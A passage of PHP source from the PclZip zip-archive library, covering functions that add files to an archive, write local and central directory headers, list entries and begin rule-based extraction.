PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; // ----- Open the temporary file in write mode if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode'); // ----- Return return PclZip::errorCode(); } // ----- Copy the files from the archive to the temporary file // TBC : Here I should better append the file and go back to erase the central dir $v_size = $v_central_dir['offset']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = fread($this->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } // ----- Swap the file descriptor // Here is a trick : I swap the temporary fd with the zip fd, in order to use // the following methods on the temporary fil and not the real archive $v_swap = $this->zip_fd; $this->zip_fd = $v_zip_temp_fd; $v_zip_temp_fd = $v_swap; // ----- Add the files $v_header_list = array(); if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1) { fclose($v_zip_temp_fd); $this->privCloseFd(); @unlink($v_zip_temp_name); $this->privSwapBackMagicQuotes(); // ----- Return return $v_result; } // ----- Store the offset of the central dir $v_offset = @ftell($this->zip_fd); // ----- Copy the block of file headers from the old archive $v_size = $v_central_dir['size']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($v_zip_temp_fd, $v_read_size); @fwrite($this->zip_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } // ----- Create the Central Dir files header for ($i=0, $v_count=0; $i<sizeof($v_header_list); $i++) { // ----- Create the file header if ($v_header_list[$i]['status'] == 'ok') { if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) { fclose($v_zip_temp_fd); $this->privCloseFd(); @unlink($v_zip_temp_name); $this->privSwapBackMagicQuotes(); // ----- Return return $v_result; } $v_count++; } // ----- Transform the header to a 'usable' info $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); } // ----- Zip file comment $v_comment = $v_central_dir['comment']; if (isset($p_options[PCLZIP_OPT_COMMENT])) { $v_comment = $p_options[PCLZIP_OPT_COMMENT]; } if (isset($p_options[PCLZIP_OPT_ADD_COMMENT])) { $v_comment = $v_comment.$p_options[PCLZIP_OPT_ADD_COMMENT]; } if (isset($p_options[PCLZIP_OPT_PREPEND_COMMENT])) { $v_comment = $p_options[PCLZIP_OPT_PREPEND_COMMENT].$v_comment; } // ----- Calculate the size of the central header $v_size = @ftell($this->zip_fd)-$v_offset; // ----- Create the central dir footer if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir['entries'], $v_size, $v_offset, $v_comment)) != 1) { // ----- Reset the file list unset($v_header_list); $this->privSwapBackMagicQuotes(); // ----- Return return $v_result; } // ----- Swap back the file descriptor $v_swap = $this->zip_fd; $this->zip_fd = $v_zip_temp_fd; $v_zip_temp_fd = $v_swap; // ----- Close $this->privCloseFd(); // ----- Close the temporary file @fclose($v_zip_temp_fd); // ----- Magic quotes trick $this->privSwapBackMagicQuotes(); // ----- Delete the zip file // TBC : I should test the result ... @unlink($this->zipname); // ----- Rename the temporary file // TBC : I should test the result ... //@rename($v_zip_temp_name, $this->zipname); PclZipUtilRename($v_zip_temp_name, $this->zipname); // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privOpenFd() // Description : // Parameters : // -------------------------------------------------------------------------------- function privOpenFd($p_mode) { $v_result=1; // ----- Look if already open if ($this->zip_fd != 0) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Zip file \''.$this->zipname.'\' already open'); // ----- Return return PclZip::errorCode(); } // ----- Open the zip file if (($this->zip_fd = @fopen($this->zipname, $p_mode)) == 0) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in '.$p_mode.' mode'); // ----- Return return PclZip::errorCode(); } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privCloseFd() // Description : // Parameters : // -------------------------------------------------------------------------------- function privCloseFd() { $v_result=1; if ($this->zip_fd != 0) @fclose($this->zip_fd); $this->zip_fd = 0; // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privAddList() // Description : // $p_add_dir and $p_remove_dir will give the ability to memorize a path which is // different from the real path of the file. This is usefull if you want to have PclTar // running in any directory, and memorize relative path from an other directory. // Parameters : // $p_list : An array containing the file or directory names to add in the tar // $p_result_list : list of added files with their properties (specially the status field) // $p_add_dir : Path to add in the filename path archived // $p_remove_dir : Path to remove in the filename path archived // Return Values : // -------------------------------------------------------------------------------- // function privAddList($p_list, &$p_result_list, $p_add_dir, $p_remove_dir, $p_remove_all_dir, &$p_options) function privAddList($p_filedescr_list, &$p_result_list, &$p_options) { $v_result=1; // ----- Add the files $v_header_list = array(); if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1) { // ----- Return return $v_result; } // ----- Store the offset of the central dir $v_offset = @ftell($this->zip_fd); // ----- Create the Central Dir files header for ($i=0,$v_count=0; $i<sizeof($v_header_list); $i++) { // ----- Create the file header if ($v_header_list[$i]['status'] == 'ok') { if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) { // ----- Return return $v_result; } $v_count++; } // ----- Transform the header to a 'usable' info $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); } // ----- Zip file comment $v_comment = ''; if (isset($p_options[PCLZIP_OPT_COMMENT])) { $v_comment = $p_options[PCLZIP_OPT_COMMENT]; } // ----- Calculate the size of the central header $v_size = @ftell($this->zip_fd)-$v_offset; // ----- Create the central dir footer if (($v_result = $this->privWriteCentralHeader($v_count, $v_size, $v_offset, $v_comment)) != 1) { // ----- Reset the file list unset($v_header_list); // ----- Return return $v_result; } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privAddFileList() // Description : // Parameters : // $p_filedescr_list : An array containing the file description // or directory names to add in the zip // $p_result_list : list of added files with their properties (specially the status field) // Return Values : // -------------------------------------------------------------------------------- function privAddFileList($p_filedescr_list, &$p_result_list, &$p_options) { $v_result=1; $v_header = array(); // ----- Recuperate the current number of elt in list $v_nb = sizeof($p_result_list); // ----- Loop on the files for ($j=0; ($j<sizeof($p_filedescr_list)) && ($v_result==1); $j++) { // ----- Format the filename $p_filedescr_list[$j]['filename'] = PclZipUtilTranslateWinPath($p_filedescr_list[$j]['filename'], false); // ----- Skip empty file names // TBC : Can this be possible ? not checked in DescrParseAtt ? if ($p_filedescr_list[$j]['filename'] == "") { continue; } // ----- Check the filename if ( ($p_filedescr_list[$j]['type'] != 'virtual_file') && (!file_exists($p_filedescr_list[$j]['filename']))) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$p_filedescr_list[$j]['filename']."' does not exist"); return PclZip::errorCode(); } // ----- Look if it is a file or a dir with no all path remove option // or a dir with all its path removed // if ( (is_file($p_filedescr_list[$j]['filename'])) // || ( is_dir($p_filedescr_list[$j]['filename']) if ( ($p_filedescr_list[$j]['type'] == 'file') || ($p_filedescr_list[$j]['type'] == 'virtual_file') || ( ($p_filedescr_list[$j]['type'] == 'folder') && ( !isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]) || !$p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) ) { // ----- Add the file $v_result = $this->privAddFile($p_filedescr_list[$j], $v_header, $p_options); if ($v_result != 1) { return $v_result; } // ----- Store the file infos $p_result_list[$v_nb++] = $v_header; } } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privAddFile() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privAddFile($p_filedescr, &$p_header, &$p_options) { $v_result=1; // ----- Working variable $p_filename = $p_filedescr['filename']; // TBC : Already done in the fileAtt check ... ? if ($p_filename == "") { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file list parameter (invalid or empty list)"); // ----- Return return PclZip::errorCode(); } // ----- Look for a stored different filename /* TBC : Removed if (isset($p_filedescr['stored_filename'])) { $v_stored_filename = $p_filedescr['stored_filename']; } else { $v_stored_filename = $p_filedescr['stored_filename']; } */ // ----- Set the file properties clearstatcache(); $p_header['version'] = 20; $p_header['version_extracted'] = 10; $p_header['flag'] = 0; $p_header['compression'] = 0; $p_header['crc'] = 0; $p_header['compressed_size'] = 0; $p_header['filename_len'] = strlen($p_filename); $p_header['extra_len'] = 0; $p_header['disk'] = 0; $p_header['internal'] = 0; $p_header['offset'] = 0; $p_header['filename'] = $p_filename; // TBC : Removed $p_header['stored_filename'] = $v_stored_filename; $p_header['stored_filename'] = $p_filedescr['stored_filename']; $p_header['extra'] = ''; $p_header['status'] = 'ok'; $p_header['index'] = -1; // ----- Look for regular file if ($p_filedescr['type']=='file') { $p_header['external'] = 0x00000000; $p_header['size'] = filesize($p_filename); } // ----- Look for regular folder else if ($p_filedescr['type']=='folder') { $p_header['external'] = 0x00000010; $p_header['mtime'] = filemtime($p_filename); $p_header['size'] = filesize($p_filename); } // ----- Look for virtual file else if ($p_filedescr['type'] == 'virtual_file') { $p_header['external'] = 0x00000000; $p_header['size'] = strlen($p_filedescr['content']); } // ----- Look for filetime if (isset($p_filedescr['mtime'])) { $p_header['mtime'] = $p_filedescr['mtime']; } else if ($p_filedescr['type'] == 'virtual_file') { $p_header['mtime'] = time(); } else { $p_header['mtime'] = filemtime($p_filename); } // ------ Look for file comment if (isset($p_filedescr['comment'])) { $p_header['comment_len'] = strlen($p_filedescr['comment']); $p_header['comment'] = $p_filedescr['comment']; } else { $p_header['comment_len'] = 0; $p_header['comment'] = ''; } // ----- Look for pre-add callback if (isset($p_options[PCLZIP_CB_PRE_ADD])) { // ----- Generate a local information $v_local_header = array(); $this->privConvertHeader2FileInfo($p_header, $v_local_header); // ----- Call the callback // Here I do not use call_user_func() because I need to send a reference to the // header. $v_result = $p_options[PCLZIP_CB_PRE_ADD](PCLZIP_CB_PRE_ADD, $v_local_header); if ($v_result == 0) { // ----- Change the file status $p_header['status'] = "skipped"; $v_result = 1; } // ----- Update the informations // Only some fields can be modified if ($p_header['stored_filename'] != $v_local_header['stored_filename']) { $p_header['stored_filename'] = PclZipUtilPathReduction($v_local_header['stored_filename']); } } // ----- Look for empty stored filename if ($p_header['stored_filename'] == "") { $p_header['status'] = "filtered"; } // ----- Check the path length if (strlen($p_header['stored_filename']) > 0xFF) { $p_header['status'] = 'filename_too_long'; } // ----- Look if no error, or file not skipped if ($p_header['status'] == 'ok') { // ----- Look for a file if ($p_filedescr['type'] == 'file') { // ----- Look for using temporary file to zip if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON]) || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_header['size'])) ) ) { $v_result = $this->privAddFileUsingTempFile($p_filedescr, $p_header, $p_options); if ($v_result < PCLZIP_ERR_NO_ERROR) { return $v_result; } } // ----- Use "in memory" zip algo else { // ----- Open the source file if (($v_file = @fopen($p_filename, "rb")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode"); return PclZip::errorCode(); } // ----- Read the file content $v_content = @fread($v_file, $p_header['size']); // ----- Close the file @fclose($v_file); // ----- Calculate the CRC $p_header['crc'] = @crc32($v_content); // ----- Look for no compression if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) { // ----- Set header parameters $p_header['compressed_size'] = $p_header['size']; $p_header['compression'] = 0; } // ----- Look for normal compression else { // ----- Compress the content $v_content = @gzdeflate($v_content); // ----- Set header parameters $p_header['compressed_size'] = strlen($v_content); $p_header['compression'] = 8; } // ----- Call the header generation if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { @fclose($v_file); return $v_result; } // ----- Write the compressed (or not) content @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']); } } // ----- Look for a virtual file (a file from string) else if ($p_filedescr['type'] == 'virtual_file') { $v_content = $p_filedescr['content']; // ----- Calculate the CRC $p_header['crc'] = @crc32($v_content); // ----- Look for no compression if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) { // ----- Set header parameters $p_header['compressed_size'] = $p_header['size']; $p_header['compression'] = 0; } // ----- Look for normal compression else { // ----- Compress the content $v_content = @gzdeflate($v_content); // ----- Set header parameters $p_header['compressed_size'] = strlen($v_content); $p_header['compression'] = 8; } // ----- Call the header generation if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { @fclose($v_file); return $v_result; } // ----- Write the compressed (or not) content @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']); } // ----- Look for a directory else if ($p_filedescr['type'] == 'folder') { // ----- Look for directory last '/' if (@substr($p_header['stored_filename'], -1) != '/') { $p_header['stored_filename'] .= '/'; } // ----- Set the file properties $p_header['size'] = 0; //$p_header['external'] = 0x41FF0010; // Value for a folder : to be checked $p_header['external'] = 0x00000010; // Value for a folder : to be checked // ----- Call the header generation if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { return $v_result; } } } // ----- Look for post-add callback if (isset($p_options[PCLZIP_CB_POST_ADD])) { // ----- Generate a local information $v_local_header = array(); $this->privConvertHeader2FileInfo($p_header, $v_local_header); // ----- Call the callback // Here I do not use call_user_func() because I need to send a reference to the // header. $v_result = $p_options[PCLZIP_CB_POST_ADD](PCLZIP_CB_POST_ADD, $v_local_header); if ($v_result == 0) { // ----- Ignored $v_result = 1; } // ----- Update the informations // Nothing can be modified } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privAddFileUsingTempFile() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privAddFileUsingTempFile($p_filedescr, &$p_header, &$p_options) { $v_result=PCLZIP_ERR_NO_ERROR; // ----- Working variable $p_filename = $p_filedescr['filename']; // ----- Open the source file if (($v_file = @fopen($p_filename, "rb")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode"); return PclZip::errorCode(); } // ----- Creates a compressed temporary file $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz'; if (($v_file_compressed = @gzopen($v_gzip_temp_name, "wb")) == 0) { fclose($v_file); PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode'); return PclZip::errorCode(); } // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks $v_size = filesize($p_filename); while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($v_file, $v_read_size); //$v_binary_data = pack('a'.$v_read_size, $v_buffer); @gzputs($v_file_compressed, $v_buffer, $v_read_size); $v_size -= $v_read_size; } // ----- Close the file @fclose($v_file); @gzclose($v_file_compressed); // ----- Check the minimum file size if (filesize($v_gzip_temp_name) < 18) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'gzip temporary file \''.$v_gzip_temp_name.'\' has invalid filesize - should be minimum 18 bytes'); return PclZip::errorCode(); } // ----- Extract the compressed attributes if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode'); return PclZip::errorCode(); } // ----- Read the gzip file header $v_binary_data = @fread($v_file_compressed, 10); $v_data_header = unpack('a1id1/a1id2/a1cm/a1flag/Vmtime/a1xfl/a1os', $v_binary_data); // ----- Check some parameters $v_data_header['os'] = bin2hex($v_data_header['os']); // ----- Read the gzip file footer @fseek($v_file_compressed, filesize($v_gzip_temp_name)-8); $v_binary_data = @fread($v_file_compressed, 8); $v_data_footer = unpack('Vcrc/Vcompressed_size', $v_binary_data); // ----- Set the attributes $p_header['compression'] = ord($v_data_header['cm']); //$p_header['mtime'] = $v_data_header['mtime']; $p_header['crc'] = $v_data_footer['crc']; $p_header['compressed_size'] = filesize($v_gzip_temp_name)-18; // ----- Close the file @fclose($v_file_compressed); // ----- Call the header generation if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { return $v_result; } // ----- Add the compressed data if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode'); return PclZip::errorCode(); } // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks fseek($v_file_compressed, 10); $v_size = $p_header['compressed_size']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($v_file_compressed, $v_read_size); //$v_binary_data = pack('a'.$v_read_size, $v_buffer); @fwrite($this->zip_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } // ----- Close the file @fclose($v_file_compressed); // ----- Unlink the temporary file @unlink($v_gzip_temp_name); // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privCalculateStoredFilename() // Description : // Based on file descriptor properties and global options, this method // calculate the filename that will be stored in the archive. // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privCalculateStoredFilename(&$p_filedescr, &$p_options) { $v_result=1; // ----- Working variables $p_filename = $p_filedescr['filename']; if (isset($p_options[PCLZIP_OPT_ADD_PATH])) { $p_add_dir = $p_options[PCLZIP_OPT_ADD_PATH]; } else { $p_add_dir = ''; } if (isset($p_options[PCLZIP_OPT_REMOVE_PATH])) { $p_remove_dir = $p_options[PCLZIP_OPT_REMOVE_PATH]; } else { $p_remove_dir = ''; } if (isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { $p_remove_all_dir = $p_options[PCLZIP_OPT_REMOVE_ALL_PATH]; } else { $p_remove_all_dir = 0; } // ----- Look for full name change if (isset($p_filedescr['new_full_name'])) { // ----- Remove drive letter if any $v_stored_filename = PclZipUtilTranslateWinPath($p_filedescr['new_full_name']); } // ----- Look for path and/or short name change else { // ----- Look for short name change // Its when we cahnge just the filename but not the path if (isset($p_filedescr['new_short_name'])) { $v_path_info = pathinfo($p_filename); $v_dir = ''; if ($v_path_info['dirname'] != '') { $v_dir = $v_path_info['dirname'].'/'; } $v_stored_filename = $v_dir.$p_filedescr['new_short_name']; } else { // ----- Calculate the stored filename $v_stored_filename = $p_filename; } // ----- Look for all path to remove if ($p_remove_all_dir) { $v_stored_filename = basename($p_filename); } // ----- Look for partial path remove else if ($p_remove_dir != "") { if (substr($p_remove_dir, -1) != '/') $p_remove_dir .= "/"; if ( (substr($p_filename, 0, 2) == "./") || (substr($p_remove_dir, 0, 2) == "./")) { if ( (substr($p_filename, 0, 2) == "./") && (substr($p_remove_dir, 0, 2) != "./")) { $p_remove_dir = "./".$p_remove_dir; } if ( (substr($p_filename, 0, 2) != "./") && (substr($p_remove_dir, 0, 2) == "./")) { $p_remove_dir = substr($p_remove_dir, 2); } } $v_compare = PclZipUtilPathInclusion($p_remove_dir, $v_stored_filename); if ($v_compare > 0) { if ($v_compare == 2) { $v_stored_filename = ""; } else { $v_stored_filename = substr($v_stored_filename, strlen($p_remove_dir)); } } } // ----- Remove drive letter if any $v_stored_filename = PclZipUtilTranslateWinPath($v_stored_filename); // ----- Look for path to add if ($p_add_dir != "") { if (substr($p_add_dir, -1) == "/") $v_stored_filename = $p_add_dir.$v_stored_filename; else $v_stored_filename = $p_add_dir."/".$v_stored_filename; } } // ----- Filename (reduce the path of stored name) $v_stored_filename = PclZipUtilPathReduction($v_stored_filename); $p_filedescr['stored_filename'] = $v_stored_filename; // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privWriteFileHeader() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privWriteFileHeader(&$p_header) { $v_result=1; // ----- Store the offset position of the file $p_header['offset'] = ftell($this->zip_fd); // ----- Transform UNIX mtime to DOS format mdate/mtime $v_date = getdate($p_header['mtime']); $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2; $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday']; // ----- Packed data $v_binary_data = pack("VvvvvvVVVvv", 0x04034b50, $p_header['version_extracted'], $p_header['flag'], $p_header['compression'], $v_mtime, $v_mdate, $p_header['crc'], $p_header['compressed_size'], $p_header['size'], strlen($p_header['stored_filename']), $p_header['extra_len']); // ----- Write the first 148 bytes of the header in the archive fputs($this->zip_fd, $v_binary_data, 30); // ----- Write the variable fields if (strlen($p_header['stored_filename']) != 0) { fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename'])); } if ($p_header['extra_len'] != 0) { fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']); } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privWriteCentralFileHeader() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privWriteCentralFileHeader(&$p_header) { $v_result=1; // TBC //for(reset($p_header); $key = key($p_header); next($p_header)) { //} // ----- Transform UNIX mtime to DOS format mdate/mtime $v_date = getdate($p_header['mtime']); $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2; $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday']; // ----- Packed data $v_binary_data = pack("VvvvvvvVVVvvvvvVV", 0x02014b50, $p_header['version'], $p_header['version_extracted'], $p_header['flag'], $p_header['compression'], $v_mtime, $v_mdate, $p_header['crc'], $p_header['compressed_size'], $p_header['size'], strlen($p_header['stored_filename']), $p_header['extra_len'], $p_header['comment_len'], $p_header['disk'], $p_header['internal'], $p_header['external'], $p_header['offset']); // ----- Write the 42 bytes of the header in the zip file fputs($this->zip_fd, $v_binary_data, 46); // ----- Write the variable fields if (strlen($p_header['stored_filename']) != 0) { fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename'])); } if ($p_header['extra_len'] != 0) { fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']); } if ($p_header['comment_len'] != 0) { fputs($this->zip_fd, $p_header['comment'], $p_header['comment_len']); } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privWriteCentralHeader() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privWriteCentralHeader($p_nb_entries, $p_size, $p_offset, $p_comment) { $v_result=1; // ----- Packed data $v_binary_data = pack("VvvvvVVv", 0x06054b50, 0, 0, $p_nb_entries, $p_nb_entries, $p_size, $p_offset, strlen($p_comment)); // ----- Write the 22 bytes of the header in the zip file fputs($this->zip_fd, $v_binary_data, 22); // ----- Write the variable fields if (strlen($p_comment) != 0) { fputs($this->zip_fd, $p_comment, strlen($p_comment)); } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privList() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privList(&$p_list) { $v_result=1; // ----- Magic quotes trick $this->privDisableMagicQuotes(); // ----- Open the zip file if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0) { // ----- Magic quotes trick $this->privSwapBackMagicQuotes(); // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode'); // ----- Return return PclZip::errorCode(); } // ----- Read the central directory informations $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privSwapBackMagicQuotes(); return $v_result; } // ----- Go to beginning of Central Dir @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_central_dir['offset'])) { $this->privSwapBackMagicQuotes(); // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); // ----- Return return PclZip::errorCode(); } // ----- Read each entry for ($i=0; $i<$v_central_dir['entries']; $i++) { // ----- Read the file header if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1) { $this->privSwapBackMagicQuotes(); return $v_result; } $v_header['index'] = $i; // ----- Get the only interesting attributes $this->privConvertHeader2FileInfo($v_header, $p_list[$i]); unset($v_header); } // ----- Close the zip file $this->privCloseFd(); // ----- Magic quotes trick $this->privSwapBackMagicQuotes(); // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privConvertHeader2FileInfo() // Description : // This function takes the file informations from the central directory // entries and extract the interesting parameters that will be given back. // The resulting file infos are set in the array $p_info // $p_info['filename'] : Filename with full path. Given by user (add), // extracted in the filesystem (extract). // $p_info['stored_filename'] : Stored filename in the archive. // $p_info['size'] = Size of the file. // $p_info['compressed_size'] = Compressed size of the file. // $p_info['mtime'] = Last modification date of the file. // $p_info['comment'] = Comment associated with the file. // $p_info['folder'] = true/false : indicates if the entry is a folder or not. // $p_info['status'] = status of the action on the file. // $p_info['crc'] = CRC of the file content. // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privConvertHeader2FileInfo($p_header, &$p_info) { $v_result=1; // ----- Get the interesting attributes $v_temp_path = PclZipUtilPathReduction($p_header['filename']); $p_info['filename'] = $v_temp_path; $v_temp_path = PclZipUtilPathReduction($p_header['stored_filename']); $p_info['stored_filename'] = $v_temp_path; $p_info['size'] = $p_header['size']; $p_info['compressed_size'] = $p_header['compressed_size']; $p_info['mtime'] = $p_header['mtime']; $p_info['comment'] = $p_header['comment']; $p_info['folder'] = (($p_header['external']&0x00000010)==0x00000010); $p_info['index'] = $p_header['index']; $p_info['status'] = $p_header['status']; $p_info['crc'] = $p_header['crc']; // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privExtractByRule() // Description : // Extract a file or directory depending of rules (by index, by name, ...) // Parameters : // $p_file_list : An array where will be placed the properties of each // extracted file // $p_path : Path to add while writing the extracted files // $p_remove_path : Path to remove (from the file memorized path) while writing the // extracted files. If the path does not match the file path, // the file is extracted with its memorized path. // $p_remove_path does not apply to 'list' mode. // $p_path and $p_remove_path are commulative. // Return Values : // 1 on success,0 or less on error (see error code list) // -------------------------------------------------------------------------------- function privExtractByRule(&$p_file_list, $p_path, $p_remove_path, $p_remove_all_path, &$p_options) { $v_result=1; // ----- Magic quotes trick $this->privDisableMagicQuotes(); // ----- Check the path if ( ($p_path == "") || ( (substr($p_path, 0, 1) != "/") && (substr($p_path, 0, 3) != "../") && (substr($p_path,1,2)!=":/"))) $p_path = "./".$p_path; // ----- Reduce the path last (and duplicated) '/' if (($p_path != "./") && ($p_path != "/")) { // ----- Look for the path end '/' while (substr($p_path, -1) == "/") { $p_path = substr($p_path, 0, strlen($p_path)-1); } } // ----- Look for path to remove format (should end by /) if (($p_remove_path != "") && (substr($p_remove_path, -1) != '/')) { $p_remove_path .= '/'; } $p_remove_path_size = strlen($p_remove_path); // ----- Open the zip file if (($v_result = $this->privOpenFd('rb')) != 1) { $this->privSwapBackMagicQuotes(); return $v_result; } // ----- Read the central directory informations $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { // ----- Close the zip file $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } // ----- Start at beginning of Central Dir $v_pos_entry = $v_central_dir['offset']; // ----- Read each entry $j_start = 0; for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++) { // ----- Read next Central dir entry @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_pos_entry)) { // ----- Close the zip file $this->privCloseFd(); $this->privSwapBackMagicQuotes(); // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); // ----- Return return PclZip::errorCode(); } // ----- Read the file header $v_header = array(); if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1) { // ----- Close the zip file $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } // ----- Store the index $v_header['index'] = $i; // ----- Store the file position $v_pos_entry = ftell($this->zip_fd); // ----- Look for the specific extract rules $v_extract = false; // ----- Look for extract by name rule if ( (isset($p_options[PCLZIP_OPT_BY_NAME])) && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) { // ----- Look if the filename is in the list for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_extract); $j++) { // ----- Look for a directory if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") { // ----- Look if the directory is in the filename path if ( (strlen($v_header['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) && (substr($v_header['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) { $v_extract = true; } } // ----- Look for a filename elseif ($v_header['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) { $v_extract = true; } } } // ----- Look for extract by ereg rule // ereg() is deprecated with PHP 5.3 /* else if ( (isset($p_options[PCLZIP_OPT_BY_EREG])) && ($p_options[PCLZIP_OPT_BY_EREG] 